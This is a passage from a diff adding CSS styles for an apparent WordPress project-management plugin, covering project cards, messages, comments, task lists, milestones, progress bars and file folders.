top: 1px; + right: 1px; +} +.pm-completed-wrap .ribbon-green { + font-weight: bold; + font-size: 12px; + color: #23282e; + text-align: center; + text-shadow: rgba(255, 255, 255, 0.3) 0px 1px 0px; + -webkit-transform: rotate(45deg); + -moz-transform: rotate(45deg); + -ms-transform: rotate(45deg); + -o-transform: rotate(45deg); + transform: rotate(45deg); + position: relative; + padding: 4px 0; + left: -5px; + top: 15px; + width: 120px; + background-color: #abd065; + background-image: -moz-linear-gradient(top, #BFDC7A, #8EBF45); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#BFDC7A), to(#8EBF45)); + background-image: -webkit-linear-gradient(top, #BFDC7A, #8EBF45); + background-image: -o-linear-gradient(top, #BFDC7A, #8EBF45); + background-image: linear-gradient(to bottom, #BFDC7A, #8EBF45); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffbfdc7a', endColorstr='#ff8ebf45', GradientType=0); + -webkit-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); + box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); +} +.pm-completed-wrap .ribbon-green.incomplete{ + background-color: #0073aa; + text-shadow: rgba(0, 0, 0, 0.3) 0px 1px 0px; + background-image: -moz-linear-gradient(top, #0073aa, #1f91c7); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0073aa), to(#1f91c7)); + background-image: -webkit-linear-gradient(top, #0073aa, #1f91c7); + background-image: -o-linear-gradient(top, #0073aa, #1f91c7); + background-image: linear-gradient(to bottom, #0073aa, #1f91c7); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffbfdc7a', endColorstr='#ff8ebf45', GradientType=0); + color: #fff; +} +.pm-projects .pm-project .ribbon-green:before, +.pm-projects .pm-project .ribbon-green:after { + border-top: 3px solid #6e8900; + border-left: 3px solid transparent; + border-right: 3px solid transparent; + position: absolute; + bottom: -3px; +} +.pm-projects .pm-project .pm-project-detail, +.pm-projects .pm-project .pm-project-meta { + color: #aaa; + word-wrap: break-word; + font-size: 12px; + font-weight: normal; +} +.pm-projects .pm-project .pm-project-meta { + font-size: 12px; +} +.pm-projects .pm-project .pm-project-people { + height: 50px; + width: 95%; + left: 10px; + overflow: hidden; + position: absolute; + top: 79%; +} +.pm-projects .pm-project .pm-project-people .pm-scroll { + white-space: nowrap; + overflow-x: hidden; + overflow-y: hidden; +} +.pm-projects .pm-project .pm-project-people:hover { + z-index: 10; +} +.pm-projects .pm-project .pm-project-people:hover .pm-scroll { + overflow-x: visible; +} +.pm-projects .pm-project .pm-project-people a { + display: inline-block; + vertical-align: middle; +} +.pm-projects .pm-project .pm-project-people img.avatar { + height: 48px; + width: 48px; + -webkit-border-radius: 50%; + -moz-border-radius: 50%; + border-radius: 50%; + margin-right: 5px; + background-color: #ccc; +} +.pm-projects .pm-project .pm-progress { + position: absolute; + bottom: 0px; + height: 10px; + width: 100%; + -webkit-border-radius: 0 0 3px 3px; + -moz-border-radius: 0 0 3px 3px; + border-radius: 0 0 3px 3px; + margin: 0 15px 0 -15px; +} +.pm-projects .pm-project .pm-progress .text { + font-size: 8px; + margin-top: -23px; + color: #222; + text-shadow: none; +} +.pm-projects .pm-project .pm-project-action-icon .pm-project-action { + right: 10px; + top: 10px; +} +.pm-projects .pm-project .pm-project-action-icon .pm-project-action .pm-settings-bind { + padding: 0; + border: none; +} +/*-------------------------------------------------- +:: Message +-------------------------------------------------- */ +.pm-new-message-form { + margin: 0px; + background: #fff; + padding: 15px 20px; + margin-bottom: 15px; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + margin-top: 15px; +} +.pm-new-message-form h3 { + margin-top: 0; +} +.pm-message-form-wrap { + position: relative; + padding: 10px; + margin-left: 0; + background: #fff; +} +.pm-messages-table { + font-size: 13px; +} +.pm-messages-table td { + border-bottom: 1px solid #ECECEC; + padding: 5px 0; +} +.pm-messages-table tr:nth-last-child(1) td { + border-bottom: none; +} +.pm-messages-table .pm-avatar { + width: 32px; + height: 32px; + -webkit-border-radius: 50%; + -moz-border-radius: 50%; + border-radius: 50%; + padding: 2px; + background: #eee; + display: block; +} +.pm-messages-table .pm-avatar img { + -webkit-border-radius: 50%; + -moz-border-radius: 50%; + border-radius: 50%; + width: 32px; + height: 32px; +} +.pm-messages-table .message { + font-size: 13px; + padding: 0 5px; + max-width: 780px; + overflow: hidden; +} +.pm-messages-table .title { + font-weight: bold; + color: #000; +} +.pm-messages-table .excerpt { + color: #AA9C84; +} +.pm-messages-table .date { + font-size: 14px; + color: #AA9C84; +} +.pm-messages-table .comment-count span { + background: #E2E9F8; + line-height: 14px; + min-width: 17px; + padding: 2px 1px; + text-align: center; + border: 1px solid transparent; + border-radius: 12px 12px 12px 12px; + color: #666666; + display: inline-block; + font-size: 12px; + margin-left: 10px; +} +.pm-messages-table td.pm-actions { + padding-left: 20px; + font-size: 11px; + border-bottom: none; +} +.pm-messages-table td.pm-actions a { + color: red; + display: inline-block; + opacity: 0.3; +} +.pm-messages-table td.pm-actions a:hover { + opacity: 1; +} +.pm-messages-table .pm-messages-spinner { + background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); +} +.pm-single { + background-color: #f9f9f9; + border: 1px solid #dfdfdf; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +.pm-single .pm-single-spinner { + background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); +} +.pm-single .pm-entry-title { + background-color: #f4f4f4; + background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f9f9f9), to(#ececec)); + background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); + background-image: -o-linear-gradient(top, #f9f9f9, #ececec); + background-image: linear-gradient(to bottom, #f9f9f9, #ececec); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff9f9f9', endColorstr='#ffececec', GradientType=0); + border-bottom: 1px solid #dfdfdf; + padding: 8px 10px; + margin: 0; + font-size: 13px; +} +.pm-single .pm-inner { + margin: 0 10px; +} +.pm-single .pm-entry-meta { + margin: 10px; + color: #888; + font-size: 12px; +} +.pm-single .pm-entry-meta .pm-separator { + color: #dfdfdf; +} +.pm-single .pm-entry-detail { + padding: 10px 15px; + background: #fff; + color: #000; +} +/*-------------------------------------------------- +:: Comment +-------------------------------------------------- */ +.pm-comment-area { + background: #fff; + margin-top: 20px; + padding: 1px 15px 15px 15px; +} +.pm-comment-wrap { + border: 1px solid #dfdfdf; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +.pm-todo .pm-task-comment-wrap { + margin-right: 10px; +} +.pm-comment-wrap .pm-comment-spinner { + background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); +} +#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list .pm-comment-wrap li.pm-comment, +.pm-comment-wrap li.pm-comment { + margin: 0; + padding: 10px; + border-width: 0px; + border-bottom: 1px solid #dfdfdf; + position: relative; +} +.pm-comment-wrap li.pm-comment.odd { + background-color: #fcfcfc; +} +.pm-comment-wrap li.pm-comment .pm-avatar { + float: left; + width: 48px; +} +.pm-comment-wrap li.pm-comment .pm-avatar img { + -webkit-border-radius: 50%; + -moz-border-radius: 50%; + border-radius: 50%; + background: #D5D5D5; + width: 32px; + height: 32px; +} +.pm-comment-wrap li.pm-comment .pm-comment-container { + margin-left: 68px; +} +.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-meta { + color: #888; + font-size: 12px; +} +.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-meta .pm-separator { + color: #dfdfdf; +} +.pm-comment-wrap li.pm-comment .pm-comment-container p { + margin: 5px 0 10px 0; +} +.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-edit-form .pm-comment-form-wrap { + margin-left: 0; + margin-top: 10px; +} +.pm-comment-wrap li.pm-comment .pm-upload-container { + background: #fff; + padding: 10px; +} +.pm-comment-wrap .pm-comment :hover .pm-comment-action { + visibility: visible; +} +.pm-comment-form-wrap { + background-color: #fff; + position: relative; + border: 1px solid #DDD; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; + padding: 10px; + margin-left: 75px; +} +.pm-comment-form-wrap .pm-comment-form { + padding: 5px 10px 10px 10px; +} +.pm-comment-form-wrap .pm-avatar { + position: absolute; + top: 0; + left: -65px; + height: 48px; + width: 48px; +} +.pm-comment-form-wrap .pm-avatar img { + -webkit-border-radius: 50%; + -moz-border-radius: 50%; + border-radius: 50%; + background: #fff; + padding: 2px; + border: 1px solid #ccc; +} +.pm-comment-form, +.pm-message-form, +.pm-milestone-form { + font-size: 13px; +} +.pm-message-page ul.dicussion-list .pm-message-form { + padding-right: 10px; + padding-left: 5px; +} +.pm-comment-form label.notify, +.pm-message-form label.notify, +.pm-milestone-form label.notify { + border-bottom: 1px solid #eee; + padding-bottom: 5px; + margin-bottom: 5px; + display: block; + width: 100% !important; +} +.pm-comment-form input[type=file], +.pm-message-form input[type=file], +.pm-milestone-form input[type=file] { + border: 1px solid #ddd; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; +} +.pm-comment-form label.error, +.pm-message-form label.error, +.pm-milestone-form label.error { + background: #FFFFFF; + border: 1px solid #EEEEEE; + color: red; + margin-bottom: 10px; + padding: 1px 5px; + position: absolute; + right: -40px; + top: 0; +} +.pm-comment-form textarea, +.pm-message-form textarea, +.pm-milestone-form textarea { + width: 100%; +} +.pm-comment-form .pm-make-privacy, +.pm-message-form .pm-make-privacy, +.pm-milestone-form .pm-make-privacy { + margin-bottom: 5px; +} +.pm-comment-form .item, +.pm-message-form .item, +.pm-milestone-form .item { + position: relative; +} +.pm-comment-form .item.detail, +.pm-message-form .item.detail, +.pm-milestone-form .item.detail { + margin-bottom: 15px; +} +.pm-comment-form .item.detail trix-editor, +.pm-message-form .item.detail trix-editor, +.pm-milestone-form .item.detail trix-editor { + border: none; + border-top: 1px solid #ddd; + border-radius: 0; +} +.pm-comment-form input[type=text], +.pm-message-form input[type=text], +.pm-milestone-form input[type=text] { + width: 100%; + padding: 10px 10px; + margin-bottom: 10px; +} +.pm-comment-form .pm-attachment-area, +.pm-message-form .pm-attachment-area, +.pm-milestone-form .pm-attachment-area { + background: url('../images/attachment.png') 5px 10px no-repeat; + color: #999; + border: 1px dashed #DDD; + padding: 10px 10px 10px 30px; + margin-bottom: 10px; + margin-top: 10px; + font-size: 13px; + position: relative; + line-height: 17px; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; +} +.pm-comment-form .pm-attachment-area .upload-item, +.pm-message-form .pm-attachment-area .upload-item, +.pm-milestone-form .pm-attachment-area .upload-item { + display: block; + overflow: hidden; + clear: both; + margin-bottom: 10px; +} +.pm-comment-form .pm-attachment-area .progress, +.pm-message-form .pm-attachment-area .progress, +.pm-milestone-form .pm-attachment-area .progress { + background: -moz-linear-gradient(center bottom, #FFFFFF 0%, #F7F7F7 100%) repeat scroll 0 0 #FFFFFF; + border: 1px solid #D1D1D1; + border-radius: 3px 3px 3px 3px; + box-shadow: 0 0 3px rgba(0, 0, 0, 0.1) inset; + float: right; + height: 22px; + line-height: 2em; + margin: 0; + overflow: hidden; + padding: 0; + width: 200px; +} +.pm-comment-form .pm-attachment-area .bar, +.pm-message-form .pm-attachment-area .bar, +.pm-milestone-form .pm-attachment-area .bar { + background-color: #83B4D8; + background-image: -moz-linear-gradient(center bottom, #72A7CF 0%, #90C5EE 100%); + border-radius: 3px 3px 3px 3px; + box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); + height: 100%; + margin-top: -26px; + width: 0; + z-index: 9; +} +.pm-comment-form .pm-attachment-area .progress .percent, +.pm-message-form .pm-attachment-area .progress .percent, +.pm-milestone-form .pm-attachment-area .progress .percent { + color: rgba(0, 0, 0, 0.6); + padding: 0 8px; + position: relative; + text-shadow: 0 1px 0 rgba(255, 255, 255, 0.4); + width: 200px; + z-index: 10; +} +.pm-comment-form .notify-users, +.pm-message-form .notify-users, +.pm-milestone-form .notify-users { + border: #dfdfdf solid 1px; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); +} +/*-------------------------------------------------- +:: Task List +-------------------------------------------------- */ +.pm-update-todolist-form { + margin-top: 10px; + margin-bottom: 10px; +} +.pm-new-todolist-form { + background: #fff; + border: 1px solid #e5e5e5; + margin-top: 20px; + padding: 10px; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); +} +.pm-new-todolist-form .item, +.pm-update-todolist-form .item { + padding: 5px; + margin: 0; +} +.pm-new-todolist-form { + width: 40%; +} +.pm-update-todolist-form { + width: 50%; +} +.pm-update-todolist-form .pm-new-todolist-form { + margin: 0px; + width: 100%; +} +.pm-single-task { + margin: 20px 0; + border-bottom: 1px solid #eee; + border-top: 1px solid #eee; + padding: 20px 30px 15px 25px; + background-color: #fff; + border: 1px solid #e5e5e5; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); +} +.pm-single-task a.move { + display: none; +} +.pm-single-task.pm-todo .pm-todo-wrap { + padding-left: 0; +} +.pm-single-task .pm-todo-action-right { + text-align: right; +} +.pm-single-task .pm-todo-action-right a { + color: #aaa; +} +.pm-single-task .pm-todo-action-right a:hover { + color: #666; +} +.pm-single-task .pm-todo-details { + border-bottom: 1px solid #eee; + border-top: 1px solid #eee; + padding: 20px 0; +} +.pm-todolists > li { + margin: 0; +} +.pm-todolists > li.ui-state-highlight { + min-height: 100px; +} +.pm-todolists .pm-todolist { + position: relative; + background: #fff; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + padding: 6px 3px 5px 5px; +} +.pm-todolists .pm-todolist .pm-todo-progress-bar { + margin-top: 15px; + overflow: hidden; + height: 13px; + background-color: #f7f7f7; +} +.pm-todolists .pm-todolist .pm-todo-progress-bar .bar { + height: 18px; + background-color: #62c462; +} +.pm-todolists .pm-todolist .pm-list-edit-form form { + border: 1px solid #e5e5e5; + margin: 20px; + padding: 15px 15px 0; + width: 40%; +} + +#pm-single-todo-list-view .pm-task-form { + margin-left: 15px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form { + margin: 10px 0 10px 0; + border: 1px solid #eee; + padding: 10px 15px 8px 15px; + width: 40%; + background: #F8F8F8; +} +.pm-todo-form .pm-task-form .pm-task-start-field { + margin-bottom: 10px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag { + background: #019dd6; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag-icon:focus, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag-icon:focus, +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tag-icon:hover, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tag-icon:hover { + background: #019dd6; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__input, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__input { + border: none; + box-shadow: none; + margin: 0; + margin-top: -1px; + padding: 0; + height: 28px !important; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__element, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__element { + height: 25px; + margin: 0; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__select:before, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__select:before { + top: 57%; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__tags, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__tags { + min-height: 34px; + border-radius: 0px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__option, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__option { + min-height: 30px; + padding: 8px 12px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__option--highlight, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__option--highlight { + background: #019dd6; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__content, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__content { + border-radius: 0px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form .item .multiselect__content li, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form .item .multiselect__content li { + border: none; + padding: 0; + height: 34px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form #task_assign_chosen, +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form #task_assign_chosen { + width: 98% !important; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-task-form #task_assign_chosen input[type="text"], +.pm-todolists .pm-todolist .pm-todo-form .pm-task-form #task_assign_chosen input[type="text"] { + height: 30px; + color: #9B9B9B; +} +.pm-todolists .pm-todolist .pm-new-btn .item.date label, +.pm-todolists .pm-todolist .pm-todo-form .item.date label { + display: block; + font-size: 13px; +} +.pm-todolists .pm-todolist .pm-new-btn .pm-make-privacy, +.pm-todolists .pm-todolist .pm-todo-form .pm-make-privacy { + margin-top: 8px; +} +.pm-todolists .pm-todolist header h3 { + margin: 0; + font-size: 14px; + padding-left: 5px; + padding-bottom: 5px; +} +.pm-todolists .pm-todolist header .pm-entry-detail { + font-style: italic; + padding: 0 5px; +} +.pm-todolists .pm-todolist header .pm-comment-count { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #E2E9F8; + font-size: 12px; + line-height: 12px; + padding: 1px 7px; + margin-right: 5px; +} +.pm-todolists .pm-todolist header .pm-comment-count a { + color: #999; +} +.pm-todolists .pm-todolist header .pm-list-actions { + font-size: 11px; + line-height: 15px; + border: 1px solid #eee; + border-right: none; + -webkit-border-radius: 5px 0 0 5px; + -moz-border-radius: 5px 0 0 5px; + border-radius: 5px 0 0 5px; + padding: 3px 8px 0 0; + background: #fff; + visibility: show; + position: absolute; + left: -59px; + top: 4px; + z-index: 9999; +} +.pm-todolists .pm-todolist header .pm-list-actions a { + display: inline-block; +} +.pm-todolists .pm-todolist header .pm-move-trak { + left: -12px; + padding: 3px 3px 0 3px; +} +.pm-todolists .pm-todolist header:hover .pm-list-actions { + visibility: visible; +} +.pm-todolists .pm-todolist .ui-state-highlight { + height: 1.5em; + line-height: 1.2em; +} +.pm-todolists .pm-todolist .pm-list-edit-form { + display: none; +} +.pm-todolists .pm-todolist p { + margin: 0; + padding-bottom: 10px; +} +.pm-todolists .pm-todolist > ul { + margin: 0 0 0 15px; + min-height: 6px; + position: relative; + list-style: none; +} +.pm-todolists .pm-todolist > ul li { + clear: both; + line-height: 20px; + padding-left: 19px; + padding-right: 110px; + word-wrap: break-word; + margin: 0; +} +.pm-todolists .pm-todolist .pm-todo-completed { + padding-top: 5px; +} +.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap { + width: 100%; +} +.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-action { + left: -16px; +} +.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-content a { + line-height: 14px; + color: #999; +} +.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .pm-todo-text { + text-decoration: line-through; +} +.pm-todolists .pm-todolist .pm-todo-completed .pm-todo-wrap .move { + display: none; +} +.pm-todolists > li { + margin: 0; +} +.pm-todo-action-child { + float: left; +} +.pm-list-action { + margin-left: 24px; + font-size: 12px; + display: none; +} +.pm-todo-inside:hover .pm-list-action { + display: block; +} +.pm-list-action-wrap { + display: block; + height: 16px; +} +.pm-todolists .pm-new-task-spinner { + background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); + display: none; + height: 16px; + left: 0; + margin-top: 5px; + position: absolute; + width: 16px; +} +.pm-due-date { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #aa5340; + font-size: 12px; + line-height: 12px; + padding: 1px 7px; + color: #e9e9e9; +} +.pm-current-date { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #61BD4F; + font-size: 12px; + line-height: 1.3em; + color: #fff; + padding: 0px 5px; +} +.pm-task-done { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #0090D9; + font-size: 12px; + line-height: 1.3em; + color: #fff; + padding: 2px 5px; +} +.pm-task-comment-count { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #ddd; + font-size: 12px; + line-height: 1.3em; + color: #999; + padding: 2px 5px; + margin-top: -5px; +} +.pm-todo .pm-todo-wrap { + position: relative; +} +.pm-todo .pm-todo-wrap input[type="checkbox"] { + margin-right: 5px; +} +.pm-todo .pm-todo-wrap:hover .pm-todo-action { + visibility: visible; +} +.pm-todo .pm-todo-wrap .pm-todo-action { + font-size: 11px; + line-height: 14px; + border: 1px solid #eee; + border-right: none; + -webkit-border-radius: 5px 0 0 5px; + -moz-border-radius: 5px 0 0 5px; + border-radius: 5px 0 0 5px; + padding: 2px 0 0 0; + background: #fff; + visibility: hidden; + position: absolute; + left: -36px; + top: 0; + z-index: 99; +} +.pm-todo .pm-todo-wrap .pm-todo-action a { + display: inline-block; +} +.pm-todo .pm-todo-wrap .pm-todo-content a.task-title { + color: #333; +} +.pm-todo .pm-todo-wrap .pm-todo-content a.task-title:hover { + text-decoration: underline; + color: #21759b; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-comment { + display: inline-block; + margin-right: -11px; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-subtask { + display: inline-block; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-todo-action-center .pm-task-time-track { + display: inline-block; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-comment-count { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + background: #E2E9F8; + font-size: 12px; + line-height: 12px; + padding: 1px 7px; + margin-right: 5px; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-comment-count a { + color: #999; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-assigned-user img { + width: 24px; + height: 24px; + vertical-align: middle; + border: 1px solid #ccc; + border-radius: 50%; + margin-left: 10px; + background-color: #ccc; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-assigned-user a { + color: #999; + text-decoration: none; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by { + font-size: 11px; + color: #999; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by a { + text-decoration: none; +} +.pm-todo .pm-todo-wrap .pm-todo-content .pm-completed-by img { + width: 22px; + height: auto; + border-radius: 50%; + vertical-align: middle; + border: 1px solid #ccc; +} +.pm-new-todolist-form input[type="text"], +.pm-list-edit-form input[type="text"], +.pm-new-todolist-form textarea, +.pm-list-edit-form textarea { + width: 98%; +} +.pm-new-todolist-form .pm-new-list-spinner, +.pm-list-edit-form .pm-new-list-spinner { + background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); + display: none; + height: 16px; + left: -18px; + margin-top: 5px; + position: absolute; + width: 16px; +} +.pm-new-todolist-form .pm-make-privacy, +.pm-list-edit-form .pm-make-privacy { + margin-top: 8px; +} +/*-------------------------------------------------- +:: Milestone +-------------------------------------------------- */ +.pm-new-milestone-form { + margin: 25px 0 15px 10px; +} +.pm-milestone-form-wrap { + position: relative; + border: 1px solid #DDD; + padding: 20px; + margin-left: 0; + background: #fff; +} +.pm-milestone-form-wrap input[name="milestone_due"] { + width: 20%; +} +.pm-milestones .pm-milestones-spinner { + background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); + display: inline-block; +} +.pm-milestones .title { + float: left; + width: 200px; + margin-top: 0; +} +.pm-milestones .pm-milestone { + background: #FAF9E4; + padding: 10px; + margin: 0 0 10px 220px; + border: 1px solid #ddd; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + font-size: 13px; +} +.pm-milestones .pm-milestone h3 { + margin: 0; + padding-bottom: 5px; + margin-bottom: 5px; + border-bottom: 1px solid #ccc; +} +.pm-milestones .pm-milestone h3 ul { + margin: 0; +} +.pm-milestones .pm-milestone h3 .time-left { + font-size: 12px; + color: #666; +} +.pm-milestones .pm-milestone ul { + margin-top: 5px; +} +.pm-milestones .pm-milestone ul.dash li { + text-indent: 5px; +} +.pm-milestones .pm-milestone ul.dash li:before { + content: "-"; + position: relative; + left: -5px; +} +.pm-milestones .pm-milestone.late { + background: #F9ECE6; +} +.pm-milestones .pm-milestone.complete { + background: #E4FFE4; +} +.pm-milestones .pm-milestone .pm-milestone-completed { + font-style: italic; + color: #7C7C7C; +} +.pm-progress { + overflow: hidden; + height: 13px; + background-color: #f7f7f7; + -webkit-box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 0 1px rgba(0, 0, 0, 0.1); + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +.pm-progress .bar { + width: 0%; + height: 18px; + color: #fff; + font-size: 12px; + text-align: center; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #149bdf; + -webkit-transition: width 0.6s ease; + -moz-transition: width 0.6s ease; + -o-transition: width 0.6s ease; + transition: width 0.6s ease; +} +.pm-progress .text { + margin-top: -20px; + color: #222; + font-size: 12px; + padding: 0 25px; + text-shadow: 0 1px 1px #FFFFFF; +} +.pm-progress-info .bar { + background-color: #62c462; +} +ul.pm-links li { + display: inline-block; +} +ul.pm-links li a { + text-decoration: none; + font-weight: normal; +} +.pm-search-item-li.ui-menu-item, .pm-search-item-li.ui-menu-item a { + background: #fff; + border: 0px solid; +} +.pm-search-item-li.ui-menu-item:hover a { + background: #fff; + color: #199fd4; + border: 0px solid; +} +ul.pm-links li a.pm-loading { + background: #eee; +} +label.error { + color: red; +} +input.error { + border: 1px solid red; +} +a.pm-icon-delete-spinner { + background: url("../images/loading.gif") no-repeat scroll; +} +a.pm-icon-delete { + display: inline-block; +} +a.pm-icon-delete span { + display: inline-block; + text-indent: -9999px; +} +a.pm-icon-delete:before { + content: "\2716"; + font-size: 17px; + padding: 1px 2px; + border-radius: 4px; + color: #EB0000; + display: inline-block; +} +a.pm-icon-tick span { + display: none; +} +a.pm-icon-tick:before { + content: "\2714"; + display: block; + font-size: 17px; + padding: 1px 2px; + border-radius: 4px; +} +a.pm-icon-tick.green { + color: #00D311; +} +a.pm-icon-tick.grey { + color: #D8D8D8; +} +.pm-uploaded-item { + background: #eee; + padding: 10px; + overflow: hidden; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; + margin: 0 0 10px 0; +} +.pm-uploaded-item img { + border: 1px solid #ddd; + padding: 5px; + margin-right: 20px; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; + background: #fff; + max-width: 80px; + height: 80px +} +.pm-content-img-size { + border: 1px solid #ddd; + padding: 5px; + margin-right: 20px; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; + background: #fff; + max-width: 80px; + height: 80px +} +/*-------------------------------------------------- +:: Files +-------------------------------------------------- */ +.pm-folders-list { + padding: 0; + margin: 20px -15px 0; + list-style: none; + display: -ms-flexbox; + display: -webkit-flex; + -webkit-flex-flow: row wrap; + justify-content: flex-start; +} +.pm-folders-list li { + margin: 0 0 30px; + padding: 0px 15px; + background: none; + width: 20%; + float: left; + min-width: 272px; + height: 248px; +} +.pm-folders-list li .ff-content { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: #E2E6E7 solid 1px; + background: #fff; +} +.pm-folders-list li .ff-content:last-child { + margin-right: 0px !important; +} +.pm-folders-list li .image-content { + padding: 20px 20px 0px; + text-align: center; + height: 205px; +} +.pm-folders-list li .image-content img { + max-height: 140px; + vertical-align: middle; + margin-bottom: 10px; +} +.pm-folders-list li .image-content .item-title { + font-weight: bold; +} +.pm-folders-list li .image-content .edit { + display: none; +} +.pm-folders-list li .editing .view { + display: none; +} +.pm-folders-list li .editing .edit { + display: block; + position: relative; + width: 100%; +} +.pm-folders-list li .editing .edit input { + width: 70%; + border: 1px solid #ccc; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + box-sizing: border-box; + -webkit-font-smoothing: antialiased; + -moz-font-smoothing: antialiased; + font-smoothing: antialiased; +} +.pm-folders-list li .editing .edit .button { + padding: 1px 2px; +} +.pm-folders-list li .editing .edit .dashicons, +.pm-folders-list li .editing .edit .dashicons-before:before { + line-height: inherit; +} +.pm-folders-list li .editing .edit .save { + color: green; +} +.pm-folders-list li .editing .edit .cancel { + color: red; +} +.pm-folders-list li .footer-section { + padding: 10px 15px; + background: #FCFCFC; + border-top: #F2F2F2 solid 1px; + width: 100%; + text-align: center; + height: 42px; +} +.pm-folders-list li .footer-section a { + color: #ccc; + padding: 2px 12px; +} +.pm-folders-list li .footer-section a:hover { + color: #0073aa; +} +.pm-folders-list li 